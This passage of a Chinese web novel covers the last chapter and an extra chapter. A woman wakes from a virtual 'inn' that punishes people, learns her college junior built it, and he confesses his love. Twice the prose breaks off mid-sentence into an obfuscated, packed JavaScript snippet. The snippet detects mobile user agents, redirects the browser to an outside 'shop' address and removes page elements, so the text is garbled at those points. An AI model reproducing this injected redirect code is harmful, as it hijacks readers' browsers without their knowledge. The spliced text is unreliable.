她时不时会掐一掐脸颊,那痛感其实和在旅店的梦境中差不多,都一样真实,于是她就更混乱了。 她开始怀疑自己是不是快疯了,无法得到答案的谜题不停地折磨着她的神经。 就这样又过了一晚,俞小澄终于可以出院了,她觉得一切的疑问只要见到小姨一定可以得到解答。 一大早,俞小澄换上了那件入院时穿的衣服,衣服从未洗过,上面还残留着些许呕吐的痕迹,看来没有人觉得她能醒过来。 办理完出院手续,俞小澄便走出了住院部。 太久没走动过了,一开始她还有些不适应,前两日稍微扶着墙壁上的扶手在楼道里活动了一下,渐渐找回了身体的协调性,可现在走起路来脚下总感觉有点虚浮。 身上没带手机,她只能走出医院到路上去看看能不能打到出租车。 她在路旁等了许久,偶尔看见一辆出租,车里无一不是载了客,回头细想,方觉有些尴尬,她身上没钱也没手机,就算真叫到车,不知会不会被当成坐霸王车的人。 正纠结要如何让别人相信自己不是这样的人,忽然一辆摩托停在了她面前,一个大叔笑嘻嘻地问她:“美女去哪儿?我拉你过去。” “呃……”俞小澄心里有些慌,犹豫着要不要搭车,不搭似乎也没有别的办法,便小声询问道,“我出门忘带手机了,能到了再付……” “俞小澄!” 正与摩托车师傅打着商量,忽然远远听见一个熟悉的声音在喊自己的名字。 俞小澄回头四下张望,时间尚早,路上没什么人,所以她半天也没锁定叫自己的人究竟在何处。 “俞小澄!这里!” 有个刚从医院大门走出的人影,挥了挥手里的花束,高声喊道,然后快速往她所在的位置奔跑。 那个身影十分眼熟,许多个夜晚陪她在梦境里历尽艰险,在危险时将她护在身后,却又时不时偷摸着给她使绊子,就算被利刃刺透胸膛时,最后一句话还能对她说:“学姐……别放弃离开旅店,也别讨厌我……” 俞小澄愣在原地,再听不见身旁的大叔跟自己说什么话,她的眼中只看到那个她以为再不会出现的人正朝自己跑来。 身旁的大叔一看生意做不成了,扫兴地骑车离开了,只余下俞小澄一人傻傻地站在路边,被不争气的泪水湿了眼眶。 那张仿佛已经很久没有见过的脸终于出现在她面前,带着如冬日初升太阳一般和煦的笑,双手递上一大束花,说:“恭喜出院,俞小澄。你走得也太早了,我差点没赶上,刚去病房找了一圈,护士说你刚走,还好出来碰上……” 吴樊祐自顾自地说着话,可等了半晌也没等到任何反应,才发现俞小澄早就走神了。 他抬手在俞小澄眼前晃了晃,嘴上调侃道:“怎么了?没睡醒,还做梦呢?” 俞小澄茫然地点了点头,两行泪水夺眶而出,哽咽着说道:“果然是我创造的梦境吗?我就说小姨怎么可能替我付住院费,还请护工照顾我,她怎么可能舍得钱啊,原来这里是我的梦境啊……” 嘴里的话逐渐被哭声淹没,俞小澄放肆地大哭起来,感觉再也不用在意别人的眼光,肆意地发泄着心中压抑太久的情绪。 站在面前的吴樊祐终是收敛了脸上的笑,将花束扔在了一旁,张开手臂,将哭成泪人的俞小澄揉进了怀中,一边抚摸着她的脑袋,一边轻声安慰道:“不是梦,你回来了,离开旅店了,我们都还活着。” 这个怀抱是温暖的,俞小澄将头埋在吴樊祐的胸口,能感受到对方的心跳,双手抓住吴樊祐的衣服,手上的触感也很真实,真实到让她害怕。 她便将手攥得更紧些,唯恐一眨眼,眼前的一切就又都变了。 一番宣泄,情绪逐渐平稳,俞小澄的大脑才终于正常运转起来,然后抓着吴樊祐衣服的手,隔着衣服摸到了他的腰,接着眼神一冷,手上便使了力,掐得吴樊祐嗷的一声叫唤。 他整个人往后蹦了一步,搂着俞小澄的手也就此放开,一边揉着腰,一边苦着一张脸,疑惑地问:“怎么了?我又哪里得罪学姐了?咋这么快又翻脸了……” 俞小澄胡乱抹了抹脸上的泪痕,才发觉自己一身狼狈,瞬间感觉耳朵有些发烫,她回避着吴樊祐的视线,将脸撇到一边,同时也掩饰着身上的污渍。 她故作镇定地说道:“交代吧,究竟怎么回事?” 吴樊祐闻言立马老实地立正站好,想了想,又不知从何说起好,不好意思地挠了挠头,指着路边停放的汽车道:“说来话长,先上车吧,我们路上再聊。” 俞小澄没有反对,跟着吴樊祐坐到了副驾上。 吴樊祐开着车,向着她家方向驶去,这一幕似曾相识,让俞小澄不由得一阵心慌。 就像刚醒来时,她会掐自己的脸确定是否还在做梦,这个时候,她就掐吴樊祐的脸,然后看着吴樊祐一脸诧异地看她一眼,她问:“疼吗?” 吴樊祐没有回答,腾出一只手抚上俞小澄的额头,然后问:“发烧了吗?” 俞小澄突然笑了,打落吴樊祐的手,安心地靠在座椅上,转头看着窗外不断倒退的风景,总于感觉到一点真实。 这家伙还是这么擅长气人。 吴樊祐见俞小澄放松下来,才缓缓开口道:“穷途旅店是我开发的罪恶惩罚系统,可以将人的意识放入虚拟世界,也就是穷途旅店之中。” “哦。” “这个系统后来被某家公司看中,并加大开发力度,正式投入到使用。” “哦。” “各地的苦主可以通过暗网联系到我们,我们会派驻守在当地的调查员上门调查情况,如果符合穷途旅店的条件,便会帮忙将这些无法被法律制裁的人送入旅店中。” “哦。” 吴樊祐一脸认真地交代着关于穷途旅店的一切,俞小澄只是平静地听着,不发表意见,不表露任何情绪,只是随意应上一声,视线却始终落在窗外。 其实她大概已经猜到,所以没有任何值得惊讶的地方。 暗网确实流传着这样那样的消息,大多人只当是乐子,毕竟“消除世间不公”这样的口号,一听就很中二。 她唯一没想到的是吴樊祐创造了穷途旅店。 “你这样无忧无虑的人,为啥要创造这种东西呢?”俞小澄望着后视镜中的自己,疑惑地问道。 在她眼中,能创造出这种恐怖东西的人,大抵应该是像她这样的社会失败者,心中满是对世界的怨恨,所以为了报复社会,做出了跟自己内心一样扭曲的东西。 可吴樊祐明明不是这样的人,他的世界充满阳光,恐怕从未受过挫,又怎知人间疾苦呢? 俞小澄困惑之时,吴樊祐只是淡淡一笑,嘴里重复道:“是啊,我这样无忧无虑的人,为啥要创造这种东西呢……” 吴樊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261713|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祐的脑海中闪过一段记忆,那是大学时光中唯一的阴云,不是笼罩在他头上的,而是笼罩在俞小澄的头上,他的世界或许总是晴天,可不代表他看不见淋雨的人。 他的重复终是收获了俞小澄的怒目斜视和掐脸攻击,他只好道歉求饶。 打闹过后,俞小澄才终于问出自己在意的问题:“你们公司经过调查,给我定下的是什么罪?联系你们的是不是我小姨?” 这个问题让吴樊祐有些苦恼,似乎很不想俞小澄知道,犹豫了片刻才像是下定了决心一样回答道:“你小姨控诉你不仅不履行子女赡养父母的义务,甚至还败光了家里的积蓄,连母亲生病都不看望,母亲死后眼见没了经济来源,便想一死了之,所以……” 俞小澄轻轻按压着眼角,对这位小姨是真的一点脾气都没了。 “然后呢?你们公司调查后,觉得我符合被惩罚的条件?” “调查一事,一直是公司前端业务员全权负责,最终将判断结果上报公司,然后申请接入穷途系统,业务审核通过后,便会正式实施,所以……当看到你的资料出现在我房间里,我才意识到,或许整个体系存在漏洞,比如前端业务员只要收钱办事就好……” 吴樊祐沮丧地说着这些他大概不想承认的失败之处,俞小澄则万分佩服她小姨对她的恨已经到了舍得下血本的地步。 从吴樊祐口中得知,俞小澄入院的当晚,她小姨就联系了穷途科技。 第二天,负责怀禹地区的驻外经理就上门开展了调查,当晚就将申请资料发送回总部。 第三天,穷途科技的人扮成护工,给俞小澄接上了意识传送仪器,也就是那个时候,俞小澄出现在了穷途旅店中。 整个过程的所有费用都将由苦主承担,穷途科技的本意是让这些一心想着报复的人心中有杆秤,试着评估一下到底值不值得。 而她小姨签字同意了。 “呵,如果我一直留在旅店里,住上个一年半载,就是不死,你说我小姨会不会受不了经济压力?”俞小澄苦笑着问道。 吴樊祐耸了耸肩,并没有发表自己的看法,不过还是跟俞小澄稍微解释了一下: “梦境中的死亡其实不决定现实世界的死亡,进入旅店只是意识。有的人可能在现实中早死了,有的人可能还活着。当住客在梦境中死亡或者找回记忆,便有机会离开旅店,可离开旅店后还能不能活,则取决于现实。” “哼,就你们那破验证,有人能离开就怪了……”俞小澄忍不住吐槽。 “是,我的设计肯定不完美,所以我这不来请学姐出山助我修复漏洞嘛!”吴樊祐一脸赔笑。 俞小澄想了想,感觉如果能深入到穷途系统之中,说不定还有办法救回白羽楠,于是妥协道:“请我?请我的价格可是很贵的!” “你要开什么价都可以!”吴樊祐瞬间喜笑颜开。 “你是老板吗?” “不是。” “那你说个屁!” “嘿嘿,我给自己请位专家助手,老板不敢反对。” 俞小澄并不怀疑吴樊祐说话夸张,因为她想起曾经自称与吴樊祐是同事兼学妹的萧莹说过,吴樊祐在公司里地位比较特殊,连老板都让其他员工别得罪他。 想着这事有些出神,吴樊祐抬手摸了摸她的头,问:“助手大人又有什么想不通?你不如说出来,别让我猜好不好。” 俞小澄瞪了他一眼,突然心里有些不是滋味,扭过脸去不加理会,嘴上故作不在意地说:“原来你这么大老远从久昌市跑到怀禹,就为了跟我谈公事。” 吴樊祐闻言微微扬起嘴角,故意使坏道:“对啊,为了难得一见的人才,跑再远都值!” 这句话,瞬间让俞小澄感觉透心凉,直接闭眼假装睡觉,心道:我今后再信你一句就是小狗! 许久不见身旁有动静,吴樊祐才意识到玩笑开大了,寻了个机会,急急将车停到了路旁。 松掉安全带,吴樊祐焦急地转向俞小澄,小心地用指头戳了戳俞小澄的胳膊,可对方只是缩了一下胳膊,有意回避,连眼睛都懒得睁开一下。 吴樊祐赶紧道歉:“学姐不会真生气了吧?这种话你怎么就信了啊?我真就胡说八道,我天天盯着系统不睡觉,时刻担心你在旅店里有没有过上你想要的生活,担心你违反旅店规则出意外,这都是关心同事吗?” 吴樊祐一脸慌张,想到什么话都往外倒,急得跟找不到出路要被热锅烫死的蚂蚁一样。 他这些话倒真的被俞小澄听进去了,俞小澄睁开眼,回过头问:“改变吸烟室属性的人是你?” 吴樊祐见她终于肯说话,一张苦瓜脸肉眼可见地舒展开,焦急地点头道:“死在旅店里就真的什么都没了,现实中的你就再也不可能醒来了。” 原本那些看上去不合理的事,在这一刻全都变得合理起来,一直追着她不放的记忆碎片、没有对她动手的安保人员、及时被制裁的蔡德、不停驱赶她回房的提示、逼迫范正昂上楼找她的手段…… 是啊,除了他,谁还会在意她的死活呢? 心里有些委屈,眼眶又被烦人的水气湿润了。 吴樊祐慌张地拂去她脸颊上的泪珠,她顺势双手环住吴樊祐的脖子,下巴抵在吴樊祐的锁骨,不知是高兴还是难过,反正先哭过再说。 她从不喜欢让人看见她的软弱,因为只会收获白眼与嘲讽,而现在,她好像终于不用假装坚强了。 一只手温柔地抚着俞小澄的后背,柔和而舒缓的声音在耳边轻响: “俞小澄,我喜欢你,一直都喜欢你,做我女朋友好不好?” 这句话,在长达八年的暗恋生涯中,从未出现在俞小澄的梦里,最终出现在现实中。 “嗯,我也喜欢你,很久很久了。” 一个轻柔的吻落在了俞小澄的脸颊,那是吴樊祐想了很久却不敢做的事,他想要的还有很多,今后的日子还长,他会一点一点追回他遗失的四年时光。 “俞小澄,这个世上一直都有人在等你。” “嗯,我回来了。” (正文完结) 227. 番外(一) 吴樊祐的人生从未出现过不顺意的事,出生在富裕的家庭,受到良好的教育,家人之间没有不和,生活中总有朋友相伴,学习也没什么烦恼。 从小学到中学再到大学,一路走得顺遂。 努力维持着被大多数人喜欢的人设,阳光、善良、品学兼优,他是别人父母口中的那个令人羡慕的“别人家的孩子”。 这样的人设没什么坏处,不会有人找他麻烦,他能轻易得到自己想得到的一切。 他觉得,人生不都应该是这样吗? 他从不理解为何有人不受待见,有人为非作歹,有人心理阴暗…… 而这样的人,令他厌恶。 站在光明中的他,开始讨厌阴暗,那种从生理到心理的讨厌,甚至恨不得将其从世界上彻底消除。 他努力让自己变得足够强大,强大到谁招惹他都会惹上麻烦,但他也不是正义的英雄,那些因为自己软弱而吃苦的人,他干嘛要同情呢? 他一直都是这么想的,表面和善,其实内心冷漠,今后也会一直如此…… 原本应该是这样的…… 直到进入大学,在朋友的推荐下,选择加入了一个听上去莫名好笑的超自然社团。 进入社团的第一天,活动室就出了闹鬼风波,有人害怕,有人兴奋,学长们带着新生开启了无聊的实验,从科学检测到宗教驱鬼,从玄学通灵再到娱乐试胆。 与其说这是千载难逢的神迹降临,不如说是学长精心准备的一场狂欢。 大概是为超自然社团迎新创造点娱乐点,大家心知肚明,却谁也不说穿,配合着进行这场表演,开心就好。 毕竟他觉得,都什么时代了,不会真有人相信有鬼吧? 偏偏有一人十分不合群,一心只想调查出真相,还当着众人的面,将这场闹剧拆穿。 看着各位学长尴尬的脸色,吴樊祐差点没笑晕过去。 朋友的推荐还真不错,当真是个好笑的社团。 至于那个不合群的女生,他记得,在他入校的第一天就见过了,她在迎新队伍里,负责接待引导新生,但是跟他不同系。 只是远远一眼,他便注意到这个人浑身上下写着格格不入四个字,被孤立在一旁,显然不是自愿加入迎新队伍的。 这样的人,是吴樊祐最讨厌的一类人,自己不会自救,总想着旁人帮忙,除了让恶人开心,一事无成。 这样的人,他也不想记住,奈何记性太好,心想着,今后只要别跟这种人扯上关系就好。 可后来,他又在超自然社团见到了她,还知道了她的名字——俞小澄。 从此,他总不由自主地观察起这个女生,与在外面看到的她似乎又有些不同,敢于表达,十分较真,一旦将一个谜题解开,她眼睛里就会闪烁起满足的光。 应该是讨厌才对,应该是一辈子都不希望跟她扯上关系才对。 可是当她在众人面前拆穿了学长们友善的谎言时,她被不善的眼神包围时,被指指点点冷嘲热讽时,那一刻,他竟然第一次没有在心中厌恶弱者,而是强烈想替她将周围的人都放倒。 也就是那一天,他看到俞小澄孤零零地一个人坐在活动室的角落里,藏在书架后,假装自己不存在一样,听着社员不满的“背后议论”,煎熬地等待着社团活动时间结束。 那是她第一次解开一个谜题眼中却没有光。 她在角落里藏了多久,他的视线便在她身上停了多久。 应该是讨厌才对啊……吴樊祐困惑了。 当夕阳透过窗户溜进房中,倾洒了一地柔光,他看到俞小澄将原本蜷缩着的脚伸进了那片柔光里,仿佛汲取着太阳的余温。 她的心里或许也是想改变的吧? 吴樊祐也不知自己当时究竟是如何想的,等他回过神时,已经踩在了一片金色的阳光中,眼前的女生正一脸诧异地抬头望着自己,他便鬼使神差地向她搭话道:“俞小澄,这是你找的最佳观景位?” 然后,那女生格外生分地回了句:“我们好像不熟,你还是叫我学姐吧。” 那一刻,他笑了。 从此他便一遍又一遍叫着她学姐,总是故意出现在她出现的地方,有意向她靠近,又一次又一次被她推开。 起初或许只是一时兴起,仿佛偶然走进了他注定一辈子不会靠近的世界,然后发现这个世界或许并没有他想象中那么糟糕。 后来渐渐成了一种习惯,想要再多了解那个世界一些,想要将对方拉入自己的世界,想要留住她眼睛里的光。 再后来,他终于知道,这种近乎让他变得不像自己的情感名为喜欢。 但是俞小澄似乎总有意与他保持距离,这让他很害怕。 看着大学时光一点点消磨殆尽,他怕离开大学后,他们俩的世界会再无交集,又怕俞小澄从始至终都不喜欢他。 他自觉看人很准,谁心中在想什么很容易表露在身体语言上,若有谁对他有意思,他一眼就能看出,然后自然而然离那些人远些。 可他这敏锐的嗅觉似乎在俞小澄身上失了灵,连他被人喜欢的人设都不管用了,他越表现得阳光,俞小澄越对他敬而远之。 于是这份感情一拖便拖到了俞小澄毕业,焦急的他刚计划着表白,就听说了俞小澄延毕的消息。 那一刻,吴樊祐不厚道地笑了,明明知道自己不应该高兴,可这样一来,他们之间又多了一年的相处时间,或许再多一点时间,俞小澄会慢慢喜欢上他。 这样的想法让他又拖了一年,可俞小澄始终没变得与他亲近。 这一次他不能再等了。 然后,他再也找不到俞小澄了,他被俞小澄拉黑了…… 很长一段时间,他都在为这段还没开始就宣告结束的感情懊悔不已。 如果他早一点告白,会不会迎来不一样的结局? 也可能会被拒绝吧,俞小澄好像对他很排斥,排斥到一毕业就将他删了个干净。 大概只有他自己以为与俞小澄的关系还不错…… 他顺遂的人生第一次迎来了挫折,从高空直摔落地底,伤得很重,以致于毕业后一年多的时间内他都陷在颓废的情绪中。 但他的事业依然跟他过去的人生一样顺利,大学期间设计出的罪恶惩治系统在暗网被人相中,有人愿意出资将这套系统投入使用。 那人问吴樊祐要给如何为这套系统命名时,他决定以穷途旅店取名。 ——给穷途末路之人最后的归宿。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267553|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >由此,穷途科技也应运而生。 大学时,他曾有一次问俞小澄:“如果有一个世界可以惩罚那些法律制裁不了的恶人,你觉得怎么样?” 俞小澄当时疑惑地反问:“法律制裁不了的恶人是什么样的?” 吴樊祐说:“就像欺软怕硬的人?” 俞小澄笑道:“那恐怕这世界要没人了。” 吴樊祐说:“那就让受了伤害的人来决定,我替这些人创造一个申诉的窗口,这样一来,他们总会有勇气反抗世界的不公了吧?” 俞小澄愣了愣神,脑海中不知想到了什么,最终轻轻叹了口气,说:“世上的事哪有那么简单,每个人的眼中,自己永远都是受害者,是非黑白哪有这么容易分清……” 彼时只是一个想法,如今他已经如愿。 穷途旅店将为这世上不公开辟一条发泄的通道,吴樊祐总期待着某一天能收到俞小澄的消息,让他将那些对她释放恶意的罪人全部投放到旅店里。 可这一等,等了四年,他的人生似乎终于开始习惯缺少一个人。 直到一日上班,同事将新一批投入旅店的名单送到了他这个系统主管的手里。 那名单上赫然出现一个名字——俞小澄。 他调取了关于俞小澄的所有录入信息,才知道她回了怀禹老家,失去了母亲,最后还轻生了。 那一刻,他整个人都疯了,他不相信,那个带给他灵感创造出穷途旅店的人,最终成了旅店住客。 短暂的情绪崩溃后,他脑子里只有一个念头——他要带她离开旅店。 是的,如果是她,她一定可以通过旅店验证,他只要确保她不违反旅店规则。 她还没有死,还有机会回来,等回来后,他一定将从未传达的感情告诉她,即便最终结果是拒绝。 于是他让同事打掩护,自己强行进入了穷途旅店,在她约定进入穷途旅店的日子。 一阵强光后,吴樊祐走进了穷途旅店的大厅,这个由他一点一点构建起来的地方,通过显示屏看了无数次的地方,而此刻在这里,就在他身前,站着一个他思念了许久的身影。 身前的人影被大厅里的目光吓得低头回避,双手插入衣兜不知翻找着什么。 吴樊祐压抑着激动的心情,故作轻松地喊了声:“学姐?” 这两个字他已经多久没有叫过了? 他以为这辈子没有机会再叫她一声“学姐”,也没法再跟她说一句:“现在我们算不算熟了,我可以叫你俞小澄了吗?” 身前的人缓缓回过头来,露出微微一惊的眼神,那一刻他可以确定,她也认出了他是谁,她还记得。 她愣了许久,脑子里不知道在想什么,最后只前言不搭后语地回了他一个“哦”字。 一切都好像回到了大学时代,他依然每天找准机会满校园追着她跑,而她总是有意回避,却又没对他表现出丝毫恶意。 于是吴樊祐冲着俞小澄灿烂一笑,故意赞叹道:“学姐一点没变,高冷!” 然后俞小澄就会露出他预想中的表情,一副想发怒又极度隐忍的表情。 在她面前,他再不想保持自己的人设,真实的他也不全是惹人喜欢的地方,这样的他,俞小澄能喜欢吗?